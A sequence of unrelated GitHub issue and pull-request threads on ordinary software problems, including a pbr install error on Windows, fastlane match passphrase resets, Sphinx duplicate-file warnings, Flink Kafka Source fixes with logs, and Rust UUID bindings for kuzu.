PBR throws error when installing on windows

Hello,
I have tried to install directly from github, running the pip install -r requirements.txt to make sure everthing needed was install and correct version. When I try to run the 'pip install .' command I following error:

(py36) C:\Users\mrnor\Documents\GitHub\demoparser>pip install .
Processing c:\users\mrnor\documents\github\demoparser
ERROR: Complete output from command python setup.py egg_info:
ERROR: Compiling demoparser/util.pyx because it changed.
Compiling demoparser/props.pyx because it changed.
Compiling demoparser/bitbuffer.pyx because it changed.
Compiling demoparser/demofile.pyx because it changed.
[1/4] Cythonizing demoparser/bitbuffer.pyx
[2/4] Cythonizing demoparser/demofile.pyx
[3/4] Cythonizing demoparser/props.pyx
[4/4] Cythonizing demoparser/util.pyx
ERROR:root:Error parsing
Traceback (most recent call last):
File "c:\users\mrnor\appdata\local\temp\pip-req-build-x_2u4jhm.eggs\pbr-5.4.2-py3.6.egg\pbr\core.py", line 96, in pbr
attrs = util.cfg_to_args(path, dist.script_args)
File "c:\users\mrnor\appdata\local\temp\pip-req-build-x_2u4jhm.eggs\pbr-5.4.2-py3.6.egg\pbr\util.py", line 270, in cfg_to_args
pbr.hooks.setup_hook(config)
File "c:\users\mrnor\appdata\local\temp\pip-req-build-x_2u4jhm.eggs\pbr-5.4.2-py3.6.egg\pbr\hooks_init_.py", line 25, in setup_hook
metadata_config.run()
File "c:\users\mrnor\appdata\local\temp\pip-req-build-x_2u4jhm.eggs\pbr-5.4.2-py3.6.egg\pbr\hooks\base.py", line 27, in run
self.hook()
File "c:\users\mrnor\appdata\local\temp\pip-req-build-x_2u4jhm.eggs\pbr-5.4.2-py3.6.egg\pbr\hooks\metadata.py", line 26, in hook
self.config['name'], self.config.get('version', None))
File "c:\users\mrnor\appdata\local\temp\pip-req-build-x_2u4jhm.eggs\pbr-5.4.2-py3.6.egg\pbr\packaging.py", line 874, in get_version
name=package_name))
Exception: Versioning for this project requires either an sdist tarball, or access to an upstream git repository. It's also possible that there is a mismatch between the package name in setup.cfg and the argument given to pbr.version.VersionInfo. Project name demoparser was given, but was not able to be found.
error in setup command: Error parsing C:\Users\mrnor\AppData\Local\Temp\pip-req-build-x_2u4jhm\setup.cfg: Exception: Versioning for this project requires either an sdist tarball, or access to an upstream git repository. It's also possible that there is a mismatch between the package name in setup.cfg and the argument given to pbr.version.VersionInfo. Project name demoparser was given, but was not able to be found.
----------------------------------------
ERROR: Command "python setup.py egg_info" failed with error code 1 in C:\Users\mrnor\AppData\Local\Temp\pip-req-build-x_2u4jhm\

I have tried it in two different enviroments (3.6 and 3.7), and in both I get the same error.
setuptools:  in c:\users\mrnor\anaconda3\envs\py36\lib\site-packages (41.0.1)
pbr: in c:\users\mrnor\anaconda3\envs\py36\lib\site-packages (5.4.2)
I can install it on my linux partition, so it is either something with my windows environments (quite possibly) or something with windows installations. I have made a fork where I'll try to fix it - tips would be appreciated!

Where you able to fix this?


[vulkan*] update to 1.3.283

Library name
All vulkan* ports
New version number
1.3.283
Other information that may be useful (release notes, etc...)
A new SDK version (1.3.283) was released on the 14th of May; probably a good idea to update all Vulkan-related ports to the new version.

Progress: the upgrade script is WIP


How to delete or reset the password of per repository for match,i forget the password

i want to delete or reset the password
[02:32:18]: Enter the passphrase that should be used to encrypt/decrypt your certificates
[02:32:18]: This passphrase is specific per repository and will be stored in your local keychain
[02:32:18]: Make sure to remember the password, as you'll need it when you run match on a different machine
Passphrase for Git Repo:

@ph661 Thanks for reaching out. You will need to run match nuke and regenerate your profiles and set a new password. Thanks!

If you have access to your old mac, you can also find the password in the Keychain. Otherwise, run match nuke, and optionally clear out your repo

I'm trying to do this, but every time I run match nuke, it tries to clone the match git repo and asks me for the passphrase. How can I get around this, so I can reset the passphrase? thx

@joelmoss It's because you still have a git-url defined in your Matchfile that points to an encrypted repo. Create a new repo and update your Matchfile with the URL to this repo instead. Once you've done this you can run fastlane match nuke [development/distribution].


Suppress "WARNING: multiple files found for the document"

Description / Summary
When both *.ipynb and *.md files are present (synced, for example, with jupytext), one encounters WARNING: multiple files found for the document warnings.  It would be nice if there was a clear way to suppress these expressed in the documentation.
Value / benefit
This would help users who use jupytext to synchronize files in different formats.  For example, when I don't need to futz with output, I much rather edit the *.md files directly, but, if I am updating the code examples, sometimes using jupyter is faster.
Implementation details
Currently, myst-nb adds both *.md and *.ipynb suffixes in __init__.py.  One somewhat drastic work-around is for users to include the following in their conf.py file:
def setup(app):
    # Ignore .ipynb files
    app.registry.source_suffix.pop(".ipynb", None)

However, it would be better if somehow the warning could simply be suppressed (I looked at the suppress_warnings Sphinx configuration option, but it does not seem to be useful), or maybe if there was a way of preventing ".ipynb" from being inserted.
Tasks to complete

[] Decide if this should just be a documentation fix.
[] If so, update the documentations.
[] If more should be done, then adjust the code and provide a suitable configuration option.

I'm having the same issue sphinx-gallery which creates .rst, .ipynb and .py files at runtime:
WARNING: multiple files found for the document "examples/test":
    ['examples/test.ipynb','examples/test.py', 'examples/test.rst']

The workaround does work for me too 👍

I've experienced this as well when using both myst-nb and sphinx-gallery as reported by @seignovert .
I just wanted to add a minor adjustment to the workaround from the OP: rather than popping from the source_suffix in the app, you can prevent the .ipynb extension from being registered entirely by adding the following to your conf.py file:
source_suffix = {".ipynb": None}

I picked up this idea from this config note in the myst-nb docs. Of course, it still doesn't doesn't solve the problem if your have content written in both .md and .ipynb format, but it might fit the bill for the following from the OP:

or maybe if there was a way of preventing ".ipynb" from being inserted.

Note another way to do this I think is to use a root_prefix (see https://jupytext.readthedocs.io/en/latest/config.html?highlight=root_prefix#configuring-paired-notebooks-globally), to put the the files in different folders:
# Pair notebooks in subfolders of 'notebooks' to scripts in subfolders of 'scripts'
formats = "notebooks///ipynb,scripts///myst"

then you can ignore the folder with the notebooks in: exclude_patterns = ["notebooks"]

That's a nice solution for the jupytext/pairing use-case. The sphinx-gallery case is a bit different since it automatically generates the .rst and .ipynb files in the same location. There may be a way to configure that differently as well, but the default configuration results in these warnings.

Using sphinx-gallery and same issue here. @niksirbi fix works great. In case you structured your gallery with sub directories this slightly more general expression worked best for me:
exclude_patterns = [
    ...,
    # exclude .py and .ipynb files in auto_examples generated by sphinx-gallery
    # this is to prevent sphinx from complaining about duplicate source files
    "auto_examples/**/*.ipynb",
    "auto_examples/**/*.py",
]


[RS-159] improve issue templates

Description
This pull request updates the existing issue templates to be more user-friendly and effective. The current templates are outdated and do not provide enough guidance for users to file an issue correctly. This can lead to confusion and delay in issue resolution. The aim of this pull request is to create better issue templates that will facilitate the issue reporting process and provide clear and concise information for the issue triage team.

Related Issue
#159
Motivation and Context
The current issue templates are not effective and users have been reporting incomplete or unclear information, making it difficult for the issue triage team to understand and resolve the problem. The updated issue templates will streamline the issue reporting process and ensure that all necessary information is provided upfront, saving time and effort for both users and the issue triage team.

Types of changes

[x] Docs change / refactoring / dependency upgrade
[ ] Bug fix
[x] New feature
[ ] Breaking change (fix or feature that would cause existing functionality to change)

[x] My code follows the code style of this project.
[x] I have added tests to cover my changes.
[x] All new and existing tests passed.

Bug Report

Failing Test

Documentation

Feature Request

Enhancement Request

Security Report

Question or Support Request

Blank Issue


very strange code structure design

const client = EventHubClient.fromConnectionString(connectionString);

client.open()
    .then(client.getPartitionIds.bind(client))
    .then(partitionIds => partitionIds.map(partitionId => client.createReceiver('$Default', partitionId, { startAfterTime: Date.now()}).then((receiver) => {
      console.log(`Created partition receiver: ${partitionId}`);
      receiver.on('errorReceived', printError);
      receiver.on('message', printMessage);
    })))
    .catch(printError);

convert to es7 async/await:
 const client = EventHubClient.fromConnectionString(connStr);

(async()=>{
  const c = await client.open();
  const partitionIds = await client.getPartitionIds(c);// why pass in c
  partitionIds.forEach(partitionId =>{
      const receiver = await  client.createReceiver('$Default', partitionId, { startAfterTime: Date.now()}); // why not pass in c
      receiver.on('errorReceived', printError);
      receiver.on('message', printMessage);
  });
})();

recommend:
 const client = EventHubClient.fromConnectionString(connStr);

(async()=>{
  // open like mysql and other common packages
  client.open();
  const partitionIds = await client.getPartitionIds();
  partitionIds.forEach(partitionId =>{
      const receiver = await  client.createReceiver('$Default', partitionId, { startAfterTime: Date.now()});
      receiver.on('errorReceived', printError);
      receiver.on('message', printMessage);
  });
})();

So what you're saying is:
Client.open() should be synchronous
And you want the examples to use async/await syntax instead of promises?
Note that for client.getPartitionIds it doesn't "pass in c". It binds to c, meaning it sets "this" to the client in the callback

I guess it depends on which version of node this library required, not all node versions support async/await after all.
Personally, I prefer async/await, too.

there is a thing called babel

@BetaRabbit 南京的工作考虑么~

Personally I far prefer the syntax they currently have over async/await. Async/await isn't really ready to be used plug-and-play and most people don't want to use a precompile step on node serverside.
So it's subjective at least. I'd rather have an example I can just cut-and-paste and be sure it's going to work


Timeline plugin

We are working on a plugin to display the results in a timeline using http://visjs.org/docs/timeline/.
This could be used to display either instant date or period using start/end dates.

Thanks, interesting. In the meantime we've settled on a different timeline plugin (see https://triplydb.com/wikimedia/dbpedia/queries/timeline-cars/6) but would be curious to see a comparison!
I'll close this issue for now, as this repository is deprecated. All activities will continue in the Yasgui monorepo at https://github.com/TriplyDB/Yasgui .

Our timeline plugin using visJS is at https://github.com/sparna-git/humanum-masa/blob/master/explorateur/src/main/webapp/theme-default/js/timeline.js
I think it is quite different in usage than yours using TimelineJS. TimelineJS is more for editorial timelines and requires a picture and a description to display nicely, while VisJS is more of a "raw" timeline and can work without image/description.


jest-diff: Add trailingSpaceFormatter option and replace cyan with commonColor

Summary

Make default export and diffStringsUnified display trailing spaces consistently:

default export used chalk.inverse in changed lines, but it is ambiguous with formatting for changed substrings
default export used chalk.bgYellow in common lines, which becomes the default value of the option, unless y’all recommend something else
diffStringsUnified used '·' middle dot, but it is ambiguous with content

Replace cyan color with commonColor for lines that differ only by indentation when both values are objects (am studying how to do it for snapshots tests when received is object and snapshot is string)

Residue

diffStringsUnified replaces trimmable empty line at beginning or end of diff with '↵' but default export does not
chore to omit double quote marks and have consistent length for color tags in diffs.test.ts.snap

Test plan

package
file
snapshots

expect
matchers.test.ts.snap
updated 2

jest-diff
diffs.test.ts.snap
updated 1 , added 2, deleted 5

jest-matcher-utils
printDiffOrStringify.test.ts
updated 1

jest-snapshot
printDiffOrStringified.test.ts
updated 1

See also pictures in the following comment

Codecov Report

Merging #8927 into master will decrease coverage by 0.04%.
The diff coverage is 100%.

@@            Coverage Diff             @@
##           master    #8927      +/-   ##
==========================================
- Coverage   64.28%   64.24%   -0.05%
==========================================
  Files         276      276
  Lines       11716    11695      -21
  Branches     2868     2863       -5
==========================================
- Hits         7532     7513      -19
+ Misses       3552     3550       -2
  Partials      632      632

Impacted Files
Coverage Δ

packages/jest-diff/src/normalizeDiffOptions.ts
100% <ø> (ø)
:arrow_up:

packages/jest-diff/src/printDiffs.ts
97.4% <100%> (-0.04%)
:arrow_down:

packages/jest-diff/src/diffLines.ts
96.77% <100%> (-0.35%)
:arrow_down:

packages/jest-environment-jsdom/src/index.ts
38.63% <0%> (-0.5%)
:arrow_down:

packages/jest-transform/src/ScriptTransformer.ts
68.77% <0%> (-0.15%)
:arrow_down:

packages/jest-environment-node/src/index.ts
48.48% <0%> (-0.09%)
:arrow_down:

packages/jest-fake-timers/src/FakeTimersLolex.ts
69.76% <0%> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 0935f7c...628e4a2. Read the comment docs.

Baseline at left and improved at right
default export insert from potentially confusing inverse to bgYellow

lines which differ only by indentation become dim

diffStringsUnified common from dot to bgYellow

and inverse color for space means it is a change

Baseline at left and optional at right
now it is possible for options to specify no colors
const noColor = string => string;

const options = {
  aColor: noColor,
  bColor: noColor,
  changeColor: noColor,
  commonColor: noColor,
  patchColor: noColor,
  trailingSpaceFormatter: noColor,
};


Option to set which type of compiler the user wants

What problem does this feature solve?
It would be a good features is there is an option for the user to set which compiler type to use from the cli-options it is set to false and which uses runtime build at default.
https://github.com/vuejs/vue-cli/blob/8fbbd353f93ae476e2511af9e4cc1bfdd8786ba7/packages/%40vue/cli-service/lib/options.js#L51
If this feature exist before please add it into the documentation to set the feature manually. If not maybe adding it to the vue.config.js file would be better. I think I can look into this and send a PR if it would be needed but first I would lie to see what responsse it would get.
What does the proposed API look like?
Features to support build compiler

Oops, dug deep and found this here https://github.com/vuejs/vue-cli/blob/dev/docs/config.md


[FLINK-20114][connector/kafka,common] Fix a few issues reported in Kafka Source release testing.

What is the purpose of the change
This PR fixes a few issues reported during Kafka Source release testing.

Do not commit offsets for partitions whose offsets has not been initialized.
Do not log and fail the job again if exception is received by the UncaughtExceptionHandler in SourceCoordinatorContext.
Report numRecordsOut from the SourceOperator.
Close admin client early when periodic partition discovery is disabled.
Close the OperatorCoordinators synchronously to avoid ClassNotFoundException.

Brief change log

Do not commit offsets for partitions whose offsets has not been initialized.
Do not log and fail the job again if exception is received by the UncaughtExceptionHandler in SourceCoordinatorContext.
Report numRecordsOut from the SourceOperator.
Close admin client early when periodic partition discovery is disabled.
Close the OperatorCoordinators synchronously to avoid ClassNotFoundException.

Verifying this change
Two unit tests have been added to verify the following two commits.

Do not commit offsets for partitions whose offsets has not been initialized.
Do not log and fail the job again if exception is received by the UncaughtExceptionHandler in SourceCoordinatorContext.

Verified via the WebUI that the metrics of records out is correctly reported.
Used the StateMachineExample to start/cancel/resume jobs and did not see dangling AdminClients / ClassNotFoundException.
Does this pull request potentially affect one of the following parts:

Dependencies (does it add or upgrade a dependency): (no)
The public API, i.e., is any changed class annotated with @Public(Evolving): (no)
The serializers: (no)
The runtime per-record code paths (performance sensitive): (no)
Anything that affects deployment or recovery: JobManager (and its components), Checkpointing, Kubernetes/Yarn/Mesos, ZooKeeper: (no)
The S3 file system connector: (no)

Documentation

Does this pull request introduce a new feature? (no)
If yes, how is the feature documented? (not applicable)

Thanks a lot for addressing the issues I've reported. While testing this PR, I noticed that the job got stuck while submitting it:
2020-11-26 20:46:43,453 INFO  org.apache.flink.runtime.dispatcher.StandaloneDispatcher     [] - Received JobGraph submission 362e7f6a2a9901e5d6d2ea69d40a69d4 (State machine job).
2020-11-26 20:46:43,453 INFO  org.apache.flink.runtime.dispatcher.StandaloneDispatcher     [] - Submitting job 362e7f6a2a9901e5d6d2ea69d40a69d4 (State machine job).
2020-11-26 20:46:43,455 INFO  org.apache.flink.runtime.rpc.akka.AkkaRpcService             [] - Starting RPC endpoint for org.apache.flink.runtime.jobmaster.JobMaster at akka://flink/user/rpc/jobmanager_4 .
2020-11-26 20:46:43,455 INFO  org.apache.flink.runtime.jobmaster.JobMaster                 [] - Initializing job State machine job (362e7f6a2a9901e5d6d2ea69d40a69d4).
2020-11-26 20:46:43,456 INFO  org.apache.flink.runtime.jobmaster.JobMaster                 [] - Using restart back off time strategy FixedDelayRestartBackoffTimeStrategy(maxNumberRestartAttempts=2147483647, backoffTimeMS=1000) for State machine job (362e7f6a2a9901e5d6d2ea69d40a69d4).
2020-11-26 20:46:43,457 INFO  org.apache.flink.runtime.jobmaster.JobMaster                 [] - Running initialization on master for job State machine job (362e7f6a2a9901e5d6d2ea69d40a69d4).
2020-11-26 20:46:43,457 INFO  org.apache.flink.runtime.jobmaster.JobMaster                 [] - Successfully ran initialization on master in 0 ms.
2020-11-26 20:46:43,492 INFO  org.apache.flink.runtime.scheduler.adapter.DefaultExecutionTopology [] - Built 1 pipelined regions in 0 ms
2020-11-26 20:46:43,492 INFO  org.apache.flink.runtime.jobmaster.JobMaster                 [] - No state backend has been configured, using default (Memory / JobManager) MemoryStateBackend (data in heap memory / checkpoints to JobManager) (checkpoints: 'null', savepoints: 'null', asynchronous: TRUE, maxStateSize: 5242880)
2020-11-26 20:46:43,492 INFO  org.apache.flink.runtime.checkpoint.CheckpointCoordinator    [] - No checkpoint found during restore.
2020-11-26 20:46:43,493 INFO  org.apache.flink.runtime.jobmaster.JobMaster                 [] - Using failover strategy org.apache.flink.runtime.executiongraph.failover.flip1.RestartPipelinedRegionFailoverStrategy@530fdf01 for State machine job (362e7f6a2a9901e5d6d2ea69d40a69d4).
2020-11-26 20:46:43,493 INFO  org.apache.flink.runtime.jobmaster.JobManagerRunnerImpl      [] - JobManager runner for job State machine job (362e7f6a2a9901e5d6d2ea69d40a69d4) was granted leadership with session id 00000000-0000-0000-0000-000000000000 at akka.tcp://flink@localhost:6123/user/rpc/jobmanager_4.
2020-11-26 20:46:43,493 INFO  org.apache.flink.runtime.jobmaster.JobMaster                 [] - Starting execution of job State machine job (362e7f6a2a9901e5d6d2ea69d40a69d4) under job master id<PHONE_NUMBER>0000000000000000000000.
2020-11-26 20:46:43,493 INFO  org.apache.flink.runtime.source.coordinator.SourceCoordinator [] - Starting split enumerator for source Source: Kafka Source.
2020-11-26 20:46:43,501 INFO  org.apache.flink.runtime.source.coordinator.SourceCoordinator [] - Closing SourceCoordinator for source Source: Kafka Source.
2020-11-26 20:46:43,502 INFO  org.apache.flink.runtime.source.coordinator.SourceCoordinator [] - Source coordinator for source Source: Kafka Source closed.
2020-11-26 20:46:43,502 INFO  org.apache.flink.runtime.jobmaster.JobMaster                 [] - Connecting to ResourceManager akka.tcp://flink@localhost:6123/user/rpc/resourcemanager_*(00000000000000000000000000000000)
2020-11-26 20:46:43,503 INFO  org.apache.flink.runtime.jobmaster.JobMaster                 [] - Resolved ResourceManager address, beginning registration
2020-11-26 20:46:43,503 INFO  org.apache.flink.runtime.resourcemanager.StandaloneResourceManager [] - Registering job manager<PHONE_NUMBER>0000000000000000000000@akka.tcp://flink@localhost:6123/user/rpc/jobmanager_4 for job 362e7f6a2a9901e5d6d2ea69d40a69d4.
2020-11-26 20:46:43,504 INFO  org.apache.flink.runtime.resourcemanager.StandaloneResourceManager [] - Registered job manager<PHONE_NUMBER>0000000000000000000000@akka.tcp://flink@localhost:6123/user/rpc/jobmanager_4 for job 362e7f6a2a9901e5d6d2ea69d40a69d4.
2020-11-26 20:46:43,506 INFO  org.apache.flink.runtime.jobmaster.JobMaster                 [] - JobManager successfully registered at ResourceManager, leader id:<PHONE_NUMBER>0000000000000000000000.
---- manual cancellation of the job -----
2020-11-26 20:59:12,933 INFO  org.apache.flink.runtime.executiongraph.ExecutionGraph       [] - Job State machine job (362e7f6a2a9901e5d6d2ea69d40a69d4) switched from state CREATED to CANCELLING.
2020-11-26 20:59:12,933 INFO  org.apache.flink.runtime.executiongraph.ExecutionGraph       [] - Source: Kafka Source (1/4) (f08af83bdc18ed82549cafcc97b747a4) switched from CREATED to CANCELING.

I'm not sure if this problem is related to the scheduler or your changes, but it looks weird that the source coordinator got closed again right away.

Hey @rmetzger , can you check if you are using the latest update of the PR? Some earlier commit I had for this PR had a problem of using Integer.parseInt() to parse a long value, which causes the SplitEnumerator to throw exception immediately. And it looks that the JM was not handling that correctly to fail the job. I have fired a ticket FLINK-20382 for this.

I've rebuild Flink using the latest version of this PR + I added myself some logging into the JobMaster / Scheduler to find out the issue:
Caused by: org.apache.flink.util.FlinkRuntimeException: Failed to start the operator coordinators
        at org.apache.flink.runtime.scheduler.SchedulerBase.startAllOperatorCoordinators(SchedulerBase.java:1023) ~[flink-dist_2.11-1.12-SNAPSHOT.jar:1.12-SNAPSHOT]
        at org.apache.flink.runtime.scheduler.SchedulerBase.startScheduling(SchedulerBase.java:490) ~[flink-dist_2.11-1.12-SNAPSHOT.jar:1.12-SNAPSHOT]
        at org.apache.flink.runtime.jobmaster.JobMaster.startScheduling(JobMaster.java:952) ~[flink-dist_2.11-1.12-SNAPSHOT.jar:1.12-SNAPSHOT]
        at java.util.concurrent.CompletableFuture.uniRun(CompletableFuture.java:705) ~[?:1.8.0_222]
        ... 27 more
Caused by: java.lang.ClassCastException: java.lang.Long cannot be cast to java.lang.Integer
        at org.apache.flink.connector.kafka.source.enumerator.KafkaSourceEnumerator.<init>(KafkaSourceEnumerator.java:116) ~[?:?]
        at org.apache.flink.connector.kafka.source.enumerator.KafkaSourceEnumerator.<init>(KafkaSourceEnumerator.java:91) ~[?:?]
        at org.apache.flink.connector.kafka.source.KafkaSource.createEnumerator(KafkaSource.java:135) ~[?:?]
        at org.apache.flink.runtime.source.coordinator.SourceCoordinator.start(SourceCoordinator.java:119) ~[flink-dist_2.11-1.12-SNAPSHOT.jar:1.12-SNAPSHOT]
        at org.apache.flink.runtime.operators.coordination.RecreateOnResetOperatorCoordinator$DeferrableCoordinator.start(RecreateOnResetOperatorCoordinator.java:366) ~[flink-dist_2.11-1.12-SNAPSHOT.jar:1.12-SNAPSHOT]
        at org.apache.flink.runtime.operators.coordination.RecreateOnResetOperatorCoordinator.start(RecreateOnResetOperatorCoordinator.java:69) ~[flink-dist_2.11-1.12-SNAPSHOT.jar:1.12-SNAPSHOT]
        at org.apache.flink.runtime.operators.coordination.OperatorCoordinatorHolder.start(OperatorCoordinatorHolder.java:182) ~[flink-dist_2.11-1.12-SNAPSHOT.jar:1.12-SNAPSHOT]
        at org.apache.flink.runtime.scheduler.SchedulerBase.startAllOperatorCoordinators(SchedulerBase.java:1017) ~[flink-dist_2.11-1.12-SNAPSHOT.jar:1.12-SNAPSHOT]
        at org.apache.flink.runtime.scheduler.SchedulerBase.startScheduling(SchedulerBase.java:490) ~[flink-dist_2.11-1.12-SNAPSHOT.jar:1.12-SNAPSHOT]
        at org.apache.flink.runtime.jobmaster.JobMaster.startScheduling(JobMaster.java:952) ~[flink-dist_2.11-1.12-SNAPSHOT.jar:1.12-SNAPSHOT]
        at java.util.concurrent.CompletableFuture.uniRun(CompletableFuture.java:705) ~[?:1.8.0_222]
        ... 27 more
```.

Note: CI is failing because of checkstyle.

The patch migrates all the existing IT cases from KafkaConsumerTestBase for the new KafkaSource, except the runEndOfStreamTest() which is no longer applicable.
In order to migrate the IT case, the following two commits has to be cherry-picked from FLINK-20379.

Add a GenericDeserializationSchema that suits the new Source API. The GenericDeserializationSchema is intended to take care of the deserialization from an arbitrary record type, which is usually a byte[] with additional information.
Let the KafkaRecordDeserializer implement GenericDeserializationSchema. Add bridge methods to the existing KafkaDeserializationSchema implementations.

Other than that, the following two commits are made:
03173a7 fixes a bug where NPE was thrown when the committed offset does not exist for a partition.
e1fe5fd adjusts the behavior of SpecifiedOffsetsInitializer to keep it the same as the legacy FlinkKafkaConsumer.
df413b4 Disable offsets auto commit by default.
I have verified the patch with a modified StateMachineExample with the following steps:

Start a Kafka cluster and create a topic of 32 partitions.
Start a Flink standalone cluster with 3 TMs.
Submit the KafkaEventsGeneratorJob to generate records.
Submit the StateMachineExample to process the records.

The jobs runs without exception.
Checkpoint works fine.
The offsets are committed back to Flink correctly.
The WebUI shows the metrics correctly.

Kill -9 the TM that runs the StateMachineExample.

The Task fails over correctly and resumes consumption from the last checkpointed offset.

Cancel the StateMachineExample with a savepoint.

The job stops without an exception.

Resume the StateMachineExample from the savepoint.

The job resumes correctly from the offsets when it was canceled.
NOTE: The following exception may be seen from the TM log. It is a know issue from Kafka because the same client-id was registered twice to the JMX. It is a known issue to Kafka, but I am not familiar with the mbeanserver enough to tell if Flink should expect this.

javax.management.InstanceAlreadyExistsException: kafka.consumer:type=app-info,id=myGroup-0
        at com.sun.jmx.mbeanserver.Repository.addMBean(Repository.java:437) ~[?:1.8.0_172]
        at com.sun.jmx.interceptor.DefaultMBeanServerInterceptor.registerWithRepository(DefaultMBeanServerInterceptor.java:1898) ~[?:1.8.0_172]
        at com.sun.jmx.interceptor.DefaultMBeanServerInterceptor.registerDynamicMBean(DefaultMBeanServerInterceptor.java:966) ~[?:1.8.0_172]
        at com.sun.jmx.interceptor.DefaultMBeanServerInterceptor.registerObject(DefaultMBeanServerInterceptor.java:900) ~[?:1.8.0_172]
        at com.sun.jmx.interceptor.DefaultMBeanServerInterceptor.registerMBean(DefaultMBeanServerInterceptor.java:324) ~[?:1.8.0_172]
        at com.sun.jmx.mbeanserver.JmxMBeanServer.registerMBean(JmxMBeanServer.java:522) ~[?:1.8.0_172]
        at org.apache.kafka.common.utils.AppInfoParser.registerAppInfo(AppInfoParser.java:64) ~[blob_p-7527eaac8696e2e6d749b6e93038622aad2a03ee-2deed2871e614394bdf6e
692044a2daf:1.12-SNAPSHOT]
        at org.apache.kafka.clients.consumer.KafkaConsumer.<init>(KafkaConsumer.java:814) ~[blob_p-7527eaac8696e2e6d749b6e93038622aad2a03ee-2deed2871e614394bdf6e6920
44a2daf:1.12-SNAPSHOT]
        at org.apache.kafka.clients.consumer.KafkaConsumer.<init>(KafkaConsumer.java:666) ~[blob_p-7527eaac8696e2e6d749b6e93038622aad2a03ee-2deed2871e614394bdf6e6920
44a2daf:1.12-SNAPSHOT]
        at org.apache.kafka.clients.consumer.KafkaConsumer.<init>(KafkaConsumer.java:646) ~[blob_p-7527eaac8696e2e6d749b6e93038622aad2a03ee-2deed2871e614394bdf6e6920
44a2daf:1.12-SNAPSHOT]
        at org.apache.flink.connector.kafka.source.reader.KafkaPartitionSplitReader.<init>(KafkaPartitionSplitReader.java:84) ~[blob_p-7527eaac8696e2e6d749b6e9303862
2aad2a03ee-2deed2871e614394bdf6e692044a2daf:1.12-SNAPSHOT]
        at org.apache.flink.connector.kafka.source.KafkaSource.lambda$createReader$0(KafkaSource.java:121) ~[blob_p-7527eaac8696e2e6d749b6e93038622aad2a03ee-2deed287
1e614394bdf6e692044a2daf:1.12-SNAPSHOT]
        at org.apache.flink.connector.base.source.reader.fetcher.SplitFetcherManager.createSplitFetcher(SplitFetcherManager.java:129) ~[flink-table-blink_2.11-1.12-S
NAPSHOT.jar:1.12-SNAPSHOT]
        at org.apache.flink.connector.base.source.reader.fetcher.SingleThreadFetcherManager.addSplits(SingleThreadFetcherManager.java:59) ~[flink-table-blink_2.11-1.
12-SNAPSHOT.jar:1.12-SNAPSHOT]
        at org.apache.flink.connector.base.source.reader.SourceReaderBase.addSplits(SourceReaderBase.java:218) ~[flink-table-blink_2.11-1.12-SNAPSHOT.jar:1.12-SNAPSH
OT]
        at org.apache.flink.streaming.api.operators.SourceOperator.open(SourceOperator.java:220) ~[flink-dist_2.11-1.12-SNAPSHOT.jar:1.12-SNAPSHOT]

Closing this PR since https://github.com/apache/flink/pull/15161 was merged.


Add UUID support to rust API

I added a Value constructor for UUIDs, as that was missing, and passing UUIDs as parameters in queries does otherwise appear to be supported.
That said, I'm seeing some inconsistencies between our UUID handling and the rust uuid crate. I think it's caused by this line: https://github.com/kuzudb/kuzu/blob/6c851234c2e7fbbc1e92e66d98c96f63e08528f6/src/common/types/uuid.cpp#L61-L62, which I guess is supposed to reverse the flip in fromString: https://github.com/kuzudb/kuzu/blob/6c851234c2e7fbbc1e92e66d98c96f63e08528f6/src/common/types/uuid.cpp#L55-L56
However, the rust API is passing and receiving values directly as int128_t. While flipping the same bit when passing the values to C++ fixes those issues, I'm wary that this isn't consistent with the way UUIDs can be constructed through the C++ API. E.g. you could create a uuid with the same numerical value via the C++ and rust APIs and you'd get different results when querying the value, or indeed just between creating the values in the C++ API from int128_t compared to using the fromString method, as I gather that uuids have a standardized layout and string representation. If keeping the adjustment to the format on disk is necessary (I don't really understand the purpose), (Update: we store uuids as int128 instead of uint128, so the order is off as values which should be in the large half are negative instead) we could hide the implementation more and make sure that the bit flip is done even when creating uuids from integers.
Also fixed a bug in how negative int128 values are passed from C++ to Rust code and vice versa, as that was exposed by the test UUID values.

It turns out that windows.h and the name UUID don't get along, so I merged UUID and uuid_t. Possibly this is because windows defines a UUID type, though I'm not sure why that would affect a different namespace, however including common/types/uuid.h after windows.h was causing build errors complaining that kuzu::common::UUID was already defined.


Design GameManager

Should manage locations and players
class GameManager{
Player player;
State gameState;
Interpreter interpreter;
getRequest(String);
serialize();
}

Replaced by some kind of Spring controller.


config_template: ImportError: No module named ansible

I filed #530 because I was getting "module is missing interpreter line" when "ceph-common | generate ceph configuration file" was reached. Now I'm seeing:
failed: [vpm144.front.sepia.ceph.com] => {"failed": true, "parsed": false}
BECOME-SUCCESS-iumeaotkbiahmnmxrtqhbnwpncjtlmcm
Traceback (most recent call last):
  File "/home/ubuntu/.ansible/tmp/ansible-tmp-1455129608.28-97582742881113/config_template", line 364, in <module>
    from ansible import errors
ImportError: No module named ansible

Shouldn't config_template be running on the master and not the target?

It occurs to me that this is likely happening because I'd used --module-path to point to plugins/actions/. I haven't yet found another way to get ansible-playbook to find config_template.py. In my use case it's necessary for the playbook to live outside the ceph-ansible tree.

what about editing your ansible.cfg just like here: https://github.com/ceph/ceph-ansible/blob/master/ansible.cfg#L3

I've actually also tried using an ansible.cfg with action_plugins = /the/path and that isn't working.
I've even used strace to see if it was attempting to look for action plugins. The strace output doesn't contain "action_plugins" or "plugins/action" at all.

hum just gave it a try and this is what I did:

moved plugins/actions to roles/ceph-common
edited ansible.cfg with action_plugins = roles/ceph-common/plugins/actions

Then ran ansible without any issue.
You do have a similar setup right?

I do, except my playbook is outside the repo path. As an experiment, I moved it to the repo path, and now it finds the plugin. Bizarre.

Ok glad to know that it works :)


Iced on Raspberry PI 4 (almost working)

Hi,
I'm trying to use iced on my Raspberry 4. So far I managed to make it compile. It even runs and the window is shown, but no frame is rendered. Eventually it exits with the following error:
thread 'main' panicked at 'Next frame: TimeOut', /home/pi/work/iced/wgpu/src/window/compositor.rs:110:21

Before I patched the iced dependencies it failed to compile:
error[E0308]: mismatched types
   --> /home/pi/.cargo/registry/src/github.com-1ecc6299db9ec823/font-kit-0.6.0/src/loaders/freetype.rs:804:20
    |
804 |                 x: vector.x() as i64,
    |                    ^^^^^^^^^^^^^^^^^ expected `i32`, found `i64`

error[E0308]: mismatched types
   --> /home/pi/.cargo/registry/src/github.com-1ecc6299db9ec823/font-kit-0.6.0/src/loaders/freetype.rs:805:20
    |
805 |                 y: -vector.y() as i64,
    |                    ^^^^^^^^^^^^^^^^^^ expected `i32`, found `i64`

